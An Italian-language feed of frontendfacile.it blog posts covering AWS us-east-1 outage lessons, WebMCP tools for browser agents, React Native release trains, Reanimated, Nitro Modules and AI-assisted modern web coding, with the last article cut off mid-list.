DEV Community: frontendfacile.it

Perché i grandi outage di AWS continuano a succedere (e cosa insegnano a chi costruisce prodotti web)

frontendfacile.it — Sat, 04 Jul 2026 08:37:09 +0000

Non è “sfortuna”: è l’effetto combinato di regioni troppo centrali, dipendenze nascoste e failure mode che emergono solo a scala reale.

Negli ultimi quindici anni abbiamo visto ripetersi uno schema curioso: cause tecniche diversissime (un temporale, un comando sbagliato, un cambio di configurazione, una race condition tra processi) finiscono per produrre lo stesso risultato percepito dagli utenti: una fetta enorme del web rallenta o si spegne. La lezione più importante non è che “il cloud è fragile”, ma che un’infrastruttura globale può diventare un singolo punto di fallimento quando abbastanza servizi e aziende convergono sulle stesse fondamenta.

Il nome ricorrente, in molti incidenti storici, è us-east-1 (Northern Virginia). Non è una regione qualsiasi: è stata la prima, quella dove molti servizi core sono nati e maturati per primi. Per anni è stata la scelta “di default” per chi voleva accesso immediato a tutto, latenza accettabile e un ecosistema già ricco. Da lì, l’effetto rete ha fatto il resto.

US‑EAST‑1: quando “default” diventa “troppo grande per fallire”

AWS è organizzata in regioni, ciascuna composta da più Availability Zone. In teoria, questa struttura serve proprio a confinare i problemi. In pratica, però, la concentrazione può superare le barriere progettuali:

molti prodotti e servizi SaaS storicamente sono nati in us-east-1 e non hanno mai fatto il salto multi-region;
una parte delle dipendenze “di piattaforma” è stata, nel tempo, più densa proprio lì;
quando una regione ospita una quota enorme di workload, anche un degrado parziale diventa un evento globale.

È il primo punto da fissare: non serve un attacco o un disastro naturale per impattare milioni di utenti. Basta un incidente locale che colpisce un componente abbastanza centrale.

Outage non uguali, pattern uguali: tre meccanismi ricorrenti

Se mettiamo in fila i casi più noti, emergono tre dinamiche che ritornano spesso.

1) Feedback loop: il sistema “si salva” peggiorando la situazione

Un classico nelle infrastrutture distribuite è il comportamento di autoprotezione che, sotto stress, crea un loop:

una rete si congestiona;
i componenti storage rilevano rischio e avviano replicazioni/ricostruzioni;
quelle operazioni consumano ulteriore banda e I/O;
la congestione aumenta, altri componenti reagiscono…

Questo tipo di spirale è subdola perché ogni singola azione è “corretta” localmente, ma il risultato globale è catastrofico.

2) Dipendenze nascoste: servizi “secondari” che diventano fondamentali

Alcuni servizi non sono percepiti come “core” dagli utenti finali, ma sono core per la piattaforma stessa. Un cambio apparentemente circoscritto può colpire:

autenticazione/identità;
monitoring e logging;
health check e autoscaling;
console e strumenti operativi.

Quando queste catene non sono mappate con precisione, il problema non resta confinato: propaga.

3) Strumenti di emergenza che dipendono dall’emergenza

Un’altra costante: durante l’incidente, le squadre provano a usare:

console di gestione;
dashboard di status;
sistemi di osservabilità.

Se questi strumenti sono ospitati o alimentati dagli stessi servizi degradati, succede l’assurdo: il termometro si rompe insieme alla febbre. E la diagnosi rallenta proprio quando serve velocità.

Sei incidenti, sei cause: cosa mostrano davvero

Senza trasformare ogni evento in una cronologia, vale la pena evidenziare cosa li rende istruttivi.

Errore umano + capacità limitata: un’operazione di routine può spingere traffico dove non dovrebbe andare. A quel punto entrano in gioco reazioni automatiche (repliche, remirroring) che amplificano.
Evento fisico + componenti di transizione: anche con generatori e ridondanze, i passaggi (switch, failover elettrico) possono essere il punto debole. Qui la lezione è che l’alta disponibilità non è solo “avere un backup”, ma far funzionare i meccanismi di transizione sotto stress.
Comando sbagliato su sistemi enormi: un parametro errato può rimuovere molto più del previsto. E quando un sottosistema critico deve ricostruirsi dopo anni senza restart completi, i tempi diventano imprevedibili.
Cambio configurazione in un servizio “invisibile”: un servizio interno può consumare più risorse del previsto e, a cascata, colpire IAM, monitoring, health check, autoscaling. È l’esempio perfetto di “non era quello il pezzo importante… finché non lo è diventato”.
Degrado che colpisce anche l’azienda che eroga il cloud: quando i sistemi interni (logistica, scanner, app operative) dipendono dallo stesso strato, il blast radius non è più “solo clienti”: diventa l’intera macchina aziendale.
Errore di automazione e DNS: un caso particolarmente didattico: non si rompe “il database”, si rompe il modo per trovarlo. Un endpoint irraggiungibile per DNS equivale, di fatto, a un servizio spento. Ed è devastante quando quel servizio è usato come strato di coordinamento da tanti altri.

Il punto comune: non esiste una singola causa ricorrente. Quello che si ripete è l’ambiente perfetto per l’incidente: centralità, interdipendenze, automazioni potenti, e recovery che richiede ordine e tempi non banali.

Implicazioni pratiche per chi fa frontend (e per chi progetta piattaforme)

“Ok, ma io faccio UI”: vero, però la percezione di affidabilità passa dal client. E alcune scelte fanno una differenza enorme quando il backend (o un intero provider) degrada.

Progetta per la degradazione, non solo per l’errore

Timeout aggressivi e retry con backoff: evitare che l’app “si impunti” aspettando indefinitamente.
Circuit breaker lato client (dove ha senso): se un endpoint fallisce ripetutamente, riduci la pressione e mostra una UI coerente.
Esperienze offline / cache: anche una cache parziale (dati letti di recente, impostazioni, contenuti statici) può trasformare un outage totale in una modalità “limitata ma usabile”.

Separa statico, asset e funzionalità critiche

Molte web app crollano perché non caricano più:

bundle JS/CSS;
config remota;
feature flag;
immagini e font.

Se la distribuzione degli asset è un collo di bottiglia, tutto il resto non parte nemmeno. CDN multi-origin, strategie di fallback e build che minimizzano dipendenze runtime possono salvare la UX.

Riduci la dipendenza da un unico “punto di verità”

Dal lato architetturale, la lezione è brutale ma semplice: se tutto passa da una singola regione o da un singolo servizio di coordinamento, il tuo sistema è “mono‑failure” anche se sulla carta è distribuito.

Multi-AZ è ottimo, ma non è multi-region.
Multi-region non basta se la tua identità, i tuoi config store o i tuoi DNS dinamici restano monocentrici.

Incident readiness: la resilienza è anche organizzativa

Le realtà che reggono meglio non sono quelle “che non rompono mai”, ma quelle che:

esercitano failure intenzionali (chaos engineering) su componenti realistici;
hanno runbook e procedure testate;
possiedono un piano di comunicazione fuori banda (status page indipendente, canali alternativi, messaggistica separata).

Sintesi: non è il singolo bug, è l’accoppiamento

Gli outage maggiori non raccontano la storia di un provider “inaffidabile”; raccontano la storia di sistemi così complessi che falliscono in modi non intuitivi, e di un ecosistema che ha scelto, per comodità e inerzia, lo stesso baricentro.

La conclusione pratica è quasi scomoda: se la tua applicazione “vive” tutta in un’unica regione e presume che servizi fondamentali siano sempre raggiungibili, allora non stai progettando per l’alta disponibilità: stai progettando per i giorni normali.

Progettare per i giorni anomali significa accettare che l’outage non sarà quello che hai previsto, ma quello che non hai immaginato — e costruire UX, architettura e processi capaci di restare in piedi anche quando l’infrastruttura sotto di te non lo fa.

Articolo originale: https://frontendfacile.it/blog/perche-i-grandi-outage-di-aws-continuano-a-succedere-e-cosa-insegnano-a-chi-cost

Siti “agent-ready”: come preparare il frontend a browser agent e strumenti strutturati

frontendfacile.it — Fri, 03 Jul 2026 09:49:37 +0000

Dalla leggibilità per modelli vision al WebMCP: passi pratici per rendere le interazioni più veloci, affidabili e debuggabili.

Perché “agent-ready” non significa “web separato”

Quando si parla di agentic web è facile immaginare un “nuovo web”. In realtà è più utile vederla come un’evoluzione del web attuale: le persone continuano a leggere contenuti, acquistare, prenotare, gestire account… ma sempre più spesso lo fanno delegando parti del flusso a un agente AI.

Gli agenti possono presentarsi in varie forme:

On-site: integrati direttamente nell’esperienza del sito.
Browser agent: nativi del browser o forniti tramite estensioni.
Off-browser: tool esterni (anche CLI) che guidano il browser tramite protocolli come CDP.

Qui ci concentriamo sul caso più “vicino” al frontend quotidiano: agenti che operano nel browser e devono capire rapidamente cosa mostra la pagina e quali azioni sono possibili.

Come un agente “vede” davvero il tuo sito

Un agente non interpreta una pagina come un umano in modo magico: raccoglie segnali e li combina. In pratica, i canali principali sono tre.

1) Screenshot + modello vision

L’agente può acquisire screenshot della pagina renderizzata e usare un modello multimodale per interpretare layout e contenuti visivi. Questo funziona, ma è costoso (in contesto e computazione) e può essere fragile con UI dense o poco consistenti.

2) DOM renderizzato

Il DOM fornisce struttura: gerarchie, nesting, vicinanze. Un bottone dentro una sezione o un form con campi etichettati correttamente “racconta” molto più di una griglia di div.

In più, il testo reale è un segnale chiave:

il contenuto di un <button> suggerisce l’azione
titoli e label aiutano a capire cosa è primario/secondario

3) Accessibility Tree

È la distillazione semantica che il browser espone (ruoli, nomi accessibili, stati). È anche ciò che usano gli screen reader.

Qui c’è un punto importante: migliorare accessibilità e semantica aiuta contemporaneamente umani e agenti. Non è un compromesso, è un allineamento.

Il problema: più complesso è il journey, più cresce il “contesto”

Nei flussi reali (prenotazioni, e-commerce, configuratori, onboarding) l’agente deve:

mantenere memoria di scelte precedenti
interpretare passaggi intermedi e stati UI
distinguere varianti simili (es. “modifica testo” vs “cambia stato”)

Più cresce la complessità, più l’agente deve sintetizzare screenshot, DOM e accessibility tree. Questo comporta:

maggiore latenza (più contesto, più ragionamento)
maggiore probabilità di errore (segnali ambigui → svolte sbagliate)

Serve quindi un modo per rendere l’interazione più diretta e meno ambigua.

WebMCP: esporre “tool” strutturati direttamente dalle pagine

L’idea chiave di WebMCP (proposta di standard) è semplice: oltre a “capire” la UI, un agente dovrebbe poter invocare azioni strutturate esposte dal sito.

Esempio concettuale:

invece di dedurre quale campo compilare e quale bottone premere per “prenotare un tavolo”,
l’agente può chiamare un tool tipo bookTable({name, date, time, partySize, notes}).

Risultato: flussi più veloci, più affidabili, più debuggabili.

Il punto interessante è che questi tool non “sostituiscono” la UI: la affiancano come API di intent per gli agenti.

Definire tool: approccio imperativo (JavaScript)

Nel modello imperativo registri un tool via API, fornendo:

name: nome stabile e specifico
description: quando usarlo
input schema: parametri in JSON Schema
execute: funzione che esegue davvero l’azione

Un aspetto spesso sottovalutato: il valore di ritorno di execute è un canale di comunicazione verso l’agente, non verso l’utente. Puoi usarlo per:

segnalare errori di validazione sui parametri
indicare success/failure
suggerire “next step” (es. “serve conferma utente”)

Lifecycle e cleanup

Se l’esistenza del tool dipende dallo stato della pagina o dal ciclo di vita di un componente, puoi gestirne la rimozione con un AbortController. Questo è particolarmente utile nei framework (es. cleanup su onDestroy).

Definire tool: approccio dichiarativo (HTML form)

Se hai già form “classici”, l’approccio dichiarativo è spesso il più economico.

Bastano due attributi richiesti sul form:

toolname
tooldescription

In più, puoi aggiungere descrizioni per i parametri (opzionale ma molto utile) per chiarire cosa inserire nei campi.

Tool description = contesto operativo (non “commenti”)

Naming e descrizioni non sono un dettaglio: sono parte dell’informazione che l’agente usa per decidere quale tool invocare e con quali parametri. In pratica è una forma di “prompting strutturato” incorporato nel markup.

Autosubmit e controllo utente

Per default, un tool basato su form tende a:

far compilare i campi all’agente
richiedere il click dell’utente per il submit

Se vuoi consentire il submit automatico, entra in gioco un attributo tipo toolautosubmit.

Riconoscere submit invocati da agente

Nel submit event compare un nuovo membro come agentInvoked per distinguere:

submit dell’utente
submit attivato dall’agente

Questo ti permette di:

applicare validazioni e regole dedicate
rispondere con messaggi mirati verso l’agente (es. spiegare perché un input è invalido)

Debug: DevTools e strumenti come per qualunque JS

Un vantaggio pratico dei tool WebMCP è che si debuggano come codice web normale:

puoi vedere quali tool vengono chiamati
con quali input
e cosa viene restituito come output

E se un tool è implementato in JavaScript, puoi:

saltare al punto di registrazione
mettere breakpoint
ispezionare stato e parametri

Questo sposta l’esperienza da “l’agente ha sbagliato qualcosa” a “ho una traccia riproducibile di input/output e posso correggere tool, schema o descrizioni”.

Linee guida concrete per rendere un sito più “agent-ready”

1) Parti dai fondamentali: UI leggibile, HTML semantico, accessibilità solida. Migliora subito anche l’esperienza umana.

2) Individua i punti ad alto attrito nei journey (ricerche complesse, configuratori, checkout, prenotazioni) e valuta dove un tool riduce ambiguità.

3) Progetta tool piccoli e specifici: “toggle status” non è “edit text”. Evita tool “fai tutto” che aumentano errori.

4) Scrivi descrizioni operative (name/description/param description): devono aiutare un agente a scegliere correttamente, non essere marketing.

5) Usa JSON Schema con cura: tipi, enum, required, vincoli. Più lo schema è preciso, meno l’agente deve indovinare.

6) Restituisci output utili: messaggi di errore strutturati, motivazioni, suggerimenti di correzione.

Sintesi: la via più breve verso interazioni affidabili

Rendere un sito “agent-ready” non significa inseguire un trend: significa ridurre ambiguità e rendere esplicite le azioni. Prima ancora dei tool, vincono semantica e accessibilità perché migliorano i tre canali chiave (visivo, DOM, accessibility tree). Quando i flussi diventano complessi, però, i tool strutturati stile WebMCP possono fare la differenza: meno contesto da interpretare, meno errori, più controllo e debugging.

L’implicazione pratica per chi fa frontend oggi è chiara: progettare UI e API di intent insieme, dove la UI serve l’utente e i tool aiutano l’agente a non “indovinare”.

Articolo originale: https://frontendfacile.it/blog/siti-agent-ready-come-preparare-il-frontend-a-browser-agent-e-strumenti-struttur

Release train in React Native: come scalare rilasci affidabili ogni 2 settimane in un contesto B2B (e TV)

frontendfacile.it — Fri, 03 Jul 2026 09:44:36 +0000

Quando l’over‑the‑air non è un’opzione, un approccio “universal” alla delivery diventa il moltiplicatore di riuso che tiene insieme decine di varianti.

In molti team frontend si dà per scontato che l’obiettivo “moderno” sia rilasciare continuamente: merge frequenti, feature flag, pipeline sempre verdi, e aggiornamenti rapidi in produzione. È un ottimo traguardo—finché il contesto lo consente.

Quando invece lavori con clienti B2B, varianti di prodotto e soprattutto con app distribuite su TV (dove l’aggiornamento non è necessariamente “over‑the‑air” o immediato), il paradigma cambia: il valore non è “rilasciare ogni ora”, ma rilasciare in modo prevedibile, replicabile e affidabile.

Unificare per riusare: lo stesso principio vale per il codice e per la delivery

C’è un’idea semplice che regge tutto: più unifichi, più riusi.

Nel mondo React Native la conversazione spesso ruota attorno a componenti condivisi, design system e logica cross‑platform. Ma lo stesso ragionamento si applica alla delivery:

un unico modo di “costruire” l’app
un unico modo di versionarla
un unico modo di rilasciarla
un unico calendario (per quanto possibile) per coordinare cambiamenti e verifiche

Un approccio “universal” alla release—cioè coerente tra piattaforme e varianti—riduce la complessità operativa, proprio come fa un codice condiviso ben strutturato.

Perché non sempre ha senso continuous delivery

Scegliere di non fare continuous deployment/delivery può essere una decisione intenzionale e corretta quando:

hai clienti B2B con finestre di aggiornamento, approvazioni o vincoli contrattuali
distribuisci su piattaforme TV dove gli update dipendono da store, certification, rollout non immediati o policy del produttore
gestisci molte varianti (build, brand, configurazioni) e vuoi evitare di moltiplicare rischi e divergenze

In questi casi, un rilascio troppo frequente non aumenta la qualità: spesso aumenta solo la probabilità di incoerenze tra varianti e regressioni difficili da riprodurre.

Il modello: release train allineato allo sprint

Una strategia pragmatica è il release train: un treno di rilascio che parte a cadenza fissa. Qui l’idea è semplice e potente:

il team lavora per un’iterazione di sprint
alla fine dello sprint si rilascia subito
la frequenza tipica è ogni 2 settimane

Questo crea un ritmo che aiuta tutti:

prodotto e stakeholder sanno quando aspettarsi una nuova versione
QA e validation hanno un perimetro temporale chiaro
le attività di release diventano routine, non “evento”

La vera sfida: scalare consistenza e affidabilità

Rilasciare ogni due settimane è relativamente semplice quando le varianti sono poche. Diventa impegnativo quando inizi a distribuire:

dozzine di varianti (non ancora centinaia, ma abbastanza da sentire l’attrito)
con differenze di configurazione, feature set, brand, requisiti cliente

A quel punto il problema non è più “possiamo rilasciare?” ma:

possiamo farlo in modo consistente?
possiamo farlo in modo affidabile?
possiamo farlo senza costi marginali che esplodono ad ogni nuova variante?

Il release train funziona davvero solo se la pipeline e le pratiche sono pensate per replicarsi: stessa disciplina, stessi controlli, stesso standard tra tutte le declinazioni del prodotto.

Implicazioni pratiche per un team React Native

Se ti ritrovi in un contesto simile (B2B, multi‑variante, device non “mobile‑centrico”), la lezione più utile è questa:

Scegli una cadenza di rilascio fissa (es. ogni 2 settimane) e proteggila.
Riduci le eccezioni: ogni “questa variante è speciale” è debito operativo.
Allinea il concetto di unificazione: non solo nel codice, ma nel modo in cui costruisci, testi e rilasci.
Misura la scalabilità: quando passi da 5 a 20 varianti, i problemi cambiano natura—servono processi e automazioni che restino stabili.

Sintesi

In ambienti dove l’aggiornamento non è immediato (come le TV) e dove il B2B introduce vincoli reali, puntare a continuous delivery “a tutti i costi” può essere un falso obiettivo. Un release train ogni due settimane, costruito su un forte principio di unificazione e riuso, offre un compromesso solido: velocità sufficiente per iterare, ma soprattutto prevedibilità e affidabilità mentre il numero di varianti cresce. Il risultato migliore non è rilasciare sempre: è rilasciare bene, ogni volta.

Articolo originale: https://frontendfacile.it/blog/release-train-in-react-native-come-scalare-rilasci-affidabili-ogni-2-settimane-i

Quando ti serve davvero Reanimated (e quando no) in React Native

frontendfacile.it — Fri, 03 Jul 2026 09:39:36 +0000

Reanimated è potentissimo, ma la potenza ha un costo: sceglierlo solo dove serve rende l’app più semplice da mantenere.

Reanimated è diventato lo standard de facto quando si parla di animazioni avanzate in React Native. È facile cadere nella scorciatoia mentale: “se voglio animazioni fluide, uso Reanimated e basta”. Spesso funziona, ma non è sempre la scelta migliore.

L’idea chiave è semplice: Reanimated ti dà una flessibilità enorme, ma quella flessibilità non è gratuita. Capire quando ti serve davvero evita complessità inutile e riduce il costo di manutenzione nel tempo.

Il confronto “Animated vs Reanimated” è spesso troppo semplicistico

Molti confronti nascono da un punto di vista prestazionale: animazioni guidate dal JS thread vs animazioni più “vicine” alla UI. In questo scenario Reanimated tende a vincere nella maggior parte dei casi, soprattutto quando:

l’animazione deve rimanere fluida anche sotto carico JS;
ci sono gesture e interazioni continue;
serve composizione di più animazioni con dipendenze tra loro.

Il problema è che questo confronto ignora due aspetti pratici:

Esistono casi limite e vincoli operativi che entrano in gioco appena l’animazione non è “da demo”.
Il costo reale non è solo performance, ma anche API surface, debugging, onboarding del team e complessità architetturale.

La potenza di Reanimated ha un prezzo

Reanimated si è evoluto molto: dalle prime versioni, dove l’enfasi era fortemente sulla performance, oggi è evidente un investimento importante su API e flessibilità. Il risultato è ottimo: puoi riprodurre quasi qualsiasi tipo di animazione e interazione.

Ma questa flessibilità comporta un trade-off fondamentale:

stai eseguendo logica JavaScript sul UI thread frame-by-frame.

Non è automaticamente “male”, anzi: è proprio ciò che abilita animazioni complesse e reattive. Però significa che ogni animazione che porti su Reanimated si porta dietro un modello mentale diverso e una parte di runtime/complessità che potresti non voler pagare per casi banali.

Domanda guida: ti serve davvero per… un fade-in?

Ecco l’esempio più utile per ragionare: hai davvero bisogno di Reanimated per far comparire una view con una dissolvenza?

Molte animazioni comuni (fade, piccoli translate, scale di ingresso/uscita) possono essere:

gestite con soluzioni più semplici,
più leggibili dal team,
meno “invasive” a livello di architettura.

Se l’animazione è decorativa e non interattiva, spesso la complessità extra non ripaga.

Quando Reanimated è la scelta giusta

Vale la pena introdurre Reanimated quando l’animazione è parte del comportamento dell’interfaccia, non solo un abbellimento:

Gesture-driven UI: drag, swipe, pan, pinch, elementi che seguono il dito.
Animazioni composte e sincronizzate: più proprietà e componenti che devono restare coerenti tra loro.
Interazioni ad alta frequenza: tutto ciò che cambia continuamente e deve restare fluido anche se il JS thread è occupato.
Transizioni e micro-interazioni “core”: dove la qualità percepita dell’app dipende da quell’animazione.

In questi casi Reanimated non è solo “più veloce”: è spesso l’unico modo sostenibile per ottenere l’effetto desiderato con un buon livello di controllo.

Quando evitarlo (o rimandarlo)

Se stai lavorando su:

animazioni d’ingresso/uscita semplici (fade in/out, slide leggero),
feedback visivi non critici (hover-like, piccoli highlight),
transizioni rare (una tantum, non durante gesture),

allora la domanda diventa: quanta flessibilità mi serve davvero? Se la risposta è “poca”, partire con una soluzione più leggera spesso è la scelta più pragmatica.

Regola pratica per decidere

Una regola che funziona bene in un progetto reale:

Inizia semplice per animazioni cosmetiche.
Passa a Reanimated quando:
- serve interazione continua (gesture), oppure
- la fluidità degrada sotto carico, oppure
- l’animazione richiede composizione e controllo avanzati.

In questo modo Reanimated diventa un strumento mirato, non un default.

Sintesi finale

Reanimated è straordinario perché ti permette di costruire interfacce altamente dinamiche e “fisiche”, con un livello di controllo difficilmente raggiungibile altrimenti. Ma la sua forza—flessibilità ed esecuzione frame-by-frame—porta inevitabilmente costo e vincoli.

L’implicazione pratica è chiara: usa Reanimated dove l’animazione è parte della UX e deve reggere interazioni complesse; per il resto, non avere paura di scegliere strade più semplici. Un’app con meno complessità superflua è quasi sempre più facile da far crescere, ottimizzare e mantenere.

Articolo originale: https://frontendfacile.it/blog/quando-ti-serve-davvero-reanimated-e-quando-no-in-react-native

Nitro Modules in React Native: perché non sono “solo un bridge più veloce”

frontendfacile.it — Fri, 03 Jul 2026 09:34:35 +0000

Oggetti nativi stateful, ArrayBuffer e C++ di prima classe: l’idea è spostare il confine tra JS e native senza perdere espressività (e guadagnando performance).

React Native oggi è in una fase interessante: il “tetto” di performance e capacità è altissimo, molte delle vecchie limitazioni sono state aggirate o risolte, e l’ecosistema offre librerie mature per casi d’uso un tempo impensabili (grafica avanzata, animazioni complesse, accesso camera ad alte prestazioni, persino WebGPU).

Dentro questa maturità, Nitro Modules sta diventando un punto di convergenza. Non perché sia l’ennesima moda, ma perché introduce un modello più potente e flessibile per costruire integrazioni native, soprattutto quando serve andare oltre il classico “chiamo un metodo nativo e mi torna un JSON”.

Perché Nitro è diverso: non solo velocità, ma modello

Quando si parla di bridge in React Native, il pensiero corre subito ai millisecondi risparmiati nelle chiamate. Nitro è effettivamente molto veloce (in benchmark isolati può risultare decine di volte più rapido rispetto ad alternative), ma il punto è: che cosa rende possibile quella velocità e, soprattutto, che cosa abilita a livello di API.

Nitro punta su alcune caratteristiche chiave:

Oggetti nativi stateful (con stato) come “cittadini di prima classe”
Supporto “first-class” ad ArrayBuffer (quindi binari, buffer, dati grezzi)
Supporto “first-class” al C++ e interop tra C++ e linguaggi nativi di piattaforma (Swift/Kotlin)
Astrazione sottile e type-safe, con binding generati a compile-time

Tradotto: non sei costretto a modellare tutto come funzioni statiche e payload serializzati. Puoi rappresentare cose native (frame camera, immagini in memoria, risorse GPU, handle) in modo più diretto, mantenendo prestazioni e pulizia.

Quando la differenza si vede davvero: real-time e chiamate ripetute

I benchmark sono utili, ma spesso fuorvianti. La differenza pratica emerge quando:

fai molte chiamate native al secondo,
su dati pesanti,
in un loop real-time.

Un esempio tipico è l’elaborazione camera ad alto frame rate. A 120 FPS, anche “solo” 10 chiamate native per frame diventano 1200 chiamate al secondo. In quel contesto, l’overhead non è più un dettaglio: si somma, impatta la latenza, e finisce per limitare ciò che puoi permetterti in pipeline.

Nitro, avendo un costo di call molto basso e un modello più adatto a oggetti stateful, diventa un abilitante: non solo fai le stesse cose più velocemente, ma puoi progettare API che prima risultavano scomode o impraticabili.

Vision Camera, estensibilità nativa e nuove pipeline

Un caso che beneficia molto di questo approccio è l’ecosistema intorno alla camera.

L’idea centrale è avere una base estremamente flessibile da estendere con codice nativo di terze parti: integrazioni con framework e toolchain esistenti (Torch, ML Kit, OpenCV e simili) diventano “plug-in” su una pipeline coerente.

Qui Nitro torna utile perché:

i frame e le risorse non sono “stringhe e path su disco”,
puoi mantenere i dati in memoria,
puoi ridurre copie e conversioni.

L’innesto con WebGPU: frame come texture, compute shader e zero-copy

Un’altra direzione molto interessante è l’integrazione tra camera e WebGPU: importare frame come texture WebGPU e processarli con compute shader.

Il valore tecnico qui è enorme:

riuso di buffer GPU zero-copy (o comunque senza passaggi inutili),
elaborazioni parallele sulla GPU,
possibilità di costruire task di computer vision (face detection, QR scanning, filtri, statistiche) con codice JS + shader, senza introdurre dipendenze native specifiche.

E se non ami scrivere shader “raw”, strumenti come TypeGPU (syntax più ergonomica sopra WebGPU) possono diventare un tassello per rendere queste pipeline più accessibili.

Dall’era “hard problems” a “ship faster”

C’è un cambio di prospettiva importante: una volta React Native era pieno di spigoli. Oggi, con più aziende che investono e una community più strutturata, molte “grane storiche” sono meno frequenti.

Il problema si sposta verso:

velocità di delivery,
efficienza nel costruire feature,
capacità di “scendere in native” rapidamente quando serve (nuove API Apple/Google, hardware capability, feature di sistema).

In questo, Nitro si propone come leva pragmatica: quando ti serve una feature specifica, scrivi un modulo con una porzione di Swift/Kotlin (e, quando utile, C++) e lo integri con un’API più espressiva.

Verso un “Nitro SDK”? Il tema dell’orchestrazione

Un rischio tipico quando nasce una nuova “ondata” di moduli è la frammentazione:

pattern diversi tra librerie,
scelte API incoerenti,
qualità e manutenzione disomogenee.

Ha senso immaginare un livello “umbrella” stile SDK che:

imponga o suggerisca best practice di API design,
mantenga uno stile coerente,
incentivi l’uso di feature Nitro più avanzate (ad esempio un modello più object-oriented, invece di tutto statico),
soprattutto: abiliti la condivisione di tipi tra librerie.

La condivisione dei tipi è un acceleratore enorme: se una libreria produce un certo tipo in memoria e un’altra lo consuma senza conversioni, l’integrazione diventa naturale e molto più performante.

Nitro Image: esempio concreto di “tipo in memoria” che cambia il gioco

Chi ha lavorato con image picker tradizionali in React Native conosce bene il collo di bottiglia:

selezioni una o più immagini,
parte un processo di copia su disco (spesso in una directory temporanea),
poi l’app si scambia path come stringhe… o peggio base64.

Questo approccio è comodo, ma pessimo per performance e latenza, soprattutto quando selezioni molte immagini.

Un tipo come Nitro Image introduce un’idea semplice ma fondamentale:

trasferimento in-memory (binario),
zero-copy per il passaggio dei dati,
possibilità di operare sull’immagine (resize, trasformazioni, salvataggio) senza “spostare file” come meccanismo principale.

È uno di quei mattoni infrastrutturali che non fanno rumore, ma cambiano l’esperienza utente quando l’app inizia a trattare media in modo serio.

Sintesi: Nitro come spostamento del confine, non come micro-ottimizzazione

Nitro è interessante perché sposta il confine tra JavaScript e native:

meno serializzazione e meno “stringhe come protocollo”,
più oggetti reali e dati binari in memoria,
interop C++ e performance coerenti con casi real-time,
API potenzialmente più eleganti e riusabili tra librerie.

La conseguenza pratica è chiara: meno tempo speso a combattere l’infrastruttura, più tempo per costruire feature. E quando serve spingere su camera, grafica, ML o pipeline GPU, avere un modello zero-copy e stateful non è un lusso: è la differenza tra un prototipo e un prodotto che regge in produzione.

Articolo originale: https://frontendfacile.it/blog/nitro-modules-in-react-native-perche-non-sono-solo-un-bridge-piu-veloce

Modern Web Guidance: come far smettere all’AI di generare codice web “vecchio” (e renderlo davvero compatibile)

frontendfacile.it — Fri, 03 Jul 2026 09:29:35 +0000

Un approccio pratico per aggiornare workflow AI-assisted con best practice, feature nuove e target Baseline misurabili.

Negli ultimi mesi mi è capitato spesso di vedere lo stesso film: chiedo a un agente AI di implementare una feature web “moderna” e mi ritrovo con codice che sembra scritto per un web di qualche anno fa. Funziona quasi, ma poi emergono i soliti problemi: pattern legacy, compatibilità gestita “a caso”, workaround in JavaScript dove oggi basterebbe CSS, e soprattutto soluzioni che non rispettano un requisito fondamentale: il target reale di browser support del progetto.

Per ridurre questo scarto tra ciò che il web offre oggi e ciò che l’AI tende a proporre, sta prendendo forma un’idea interessante: Modern Web Guidance. Non è “un altro modello”, ma un insieme di guide tecniche che l’agente può consultare in modo mirato, quando serve, e con un principio chiave: ogni raccomandazione è legata a Baseline e include fallback quando necessario.

Di seguito trovi una panoramica concreta di come ragionare con Modern Web Guidance in un workflow quotidiano: refactor di legacy, ottimizzazioni performance misurabili e introduzione di nuove UX senza compromettere compatibilità e manutenzione.

Il problema reale: l’AI conosce il web “com’era”, non sempre “com’è”

I modelli generalisti sono fortissimi nel ricombinare pattern noti, ma soffrono su due fronti:

Raccomandano soluzioni legacy anche quando esistono alternative più pulite, native e performanti.
Hanno punti ciechi sulle feature recenti: spesso sbagliano dettagli d’implementazione o evitano del tutto l’approccio moderno.

Il risultato è tipico: codice più lungo del necessario, più fragile, e pieno di compatibilità “a sentimento” (la classica lista di browser support generica, che non considera i requisiti del tuo progetto).

Un esempio perfetto è l’evoluzione di alcune capacità CSS. In passato, per cambiare lo stile di un “gruppo” quando un input interno era invalido, finivi per fare toggle di classi via JavaScript. Oggi, in molti casi, puoi usare direttamente :has() per esprimere la relazione in CSS. È un salto enorme in chiarezza e manutenzione, ma se il modello non è aggiornato, continuerà a proporre JS e classi di appoggio.

Cos’è Modern Web Guidance (in pratica)

Modern Web Guidance si può descrivere così:

un set di guide verificate da esperti (best practice e feature-specific)
pensate per essere recuperate on-demand dall’agente
con un focus esplicito su Baseline e strategie di fallback.

La parte interessante non è solo “avere linee guida”, ma come entrano nel flusso:

1) Due livelli di guida

Guide ad alto livello: performance, sicurezza, UX, ecc.
Guide a basso livello: feature web recenti dove spesso l’AI sbaglia (o non osa).

2) Recupero semantico locale

Quando invii un prompt, l’agente esegue una ricerca semantica locale nel bundle di guide.

Se trova corrispondenze, le aggiunge al contesto e genera una risposta “aggiornata”.
Se non trova match, l’agente procede normalmente.

Questa scelta è importante perché evita il classico errore dei “mega prompt” dove carichi troppe regole e saturi il contesto.

3) Baseline come contratto di compatibilità

Ogni guida contiene:

implementazione ideale (moderna)
fallback quando la feature non è Baseline widely available

In più, l’agente può adattare le scelte in base al target che dichiari nel progetto (tipicamente tramite un file di configurazione come agents.md).

Un caso d’uso concreto: rifare ordine in un progetto legacy

Immagina una piccola app “legacy” (classico progetto didattico con HTML/CSS/JS sparsi, una manciata di moduli e qualche scelta discutibile fatta anni fa). Il punto non è l’app in sé, ma il metodo.

Step 1: misurare prima di toccare

Prima di refactorare “a naso”, conviene fare un audit e farsi guidare dai colli di bottiglia reali:

FCP / LCP fuori target
risorse bloccanti (CSS, font)
immagini caricate in modo subottimale

Se nel workflow usi strumenti automatizzabili, l’ideale è far girare Lighthouse e produrre un report ripetibile, così puoi:

confrontare il prima/dopo
evitare ottimizzazioni “placebo”

Step 2: sistemare LCP con priorità di caricamento immagini

Uno dei problemi più comuni nelle app legacy è la hero image:

viene iniettata via JavaScript
arriva tardi
“salta” nel layout

Una correzione moderna e spesso immediata è:

riportare l’immagine nel markup (quando sensato)
usare fetchpriority="high" sulla risorsa critica
specificare dimensioni (width/height) o strategie equivalenti per ridurre layout shift

Non è magia: è dare al browser segnali chiari su cosa caricare subito.

Step 3: eliminare fallback non più necessari (quando Baseline lo consente)

Molti progetti si portano dietro anni di “compat layer”:

mapping di stati
classi CSS duplicate
JS per gestire casi che oggi non esistono più

Se una feature è diventata Baseline widely available, puoi:

togliere rami condizionali e polyfill artigianali
semplificare CSS
